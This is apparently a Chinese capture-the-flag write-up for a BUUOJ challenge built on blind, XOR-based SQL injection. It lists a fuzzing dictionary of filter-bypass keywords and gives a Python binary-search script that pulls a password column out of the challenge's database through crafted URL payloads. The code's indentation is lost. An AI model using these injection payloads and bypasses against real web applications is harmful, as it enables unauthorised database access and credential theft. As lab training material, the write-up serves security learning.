考点:盲注,异或注入


大多数关键字都被过滤,下面附上我的我的FUZZ测试字典:
and
aNd
or
oR
oorr
select
sElect
union
unIon
union select
union/**/select
/**/
‘
"
information_schema
^
&&
uniOn/**/select

import requests
url = ‘http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php‘
flag = ‘‘
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = ‘http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#‘ %(i,mid)
payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if ‘ERROR‘ in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
由于空格被过滤,用()代替,我这里payload直接写到了最后一步,猜解表名,字段名的payload我这里就不写了,直接去嵌套常规的联合查询语句即可。
用二分法速度还是很快的,效率上有很大提高。 
拿到flag。
原文:https://www.cnblogs.com/hello-there/p/13026698.html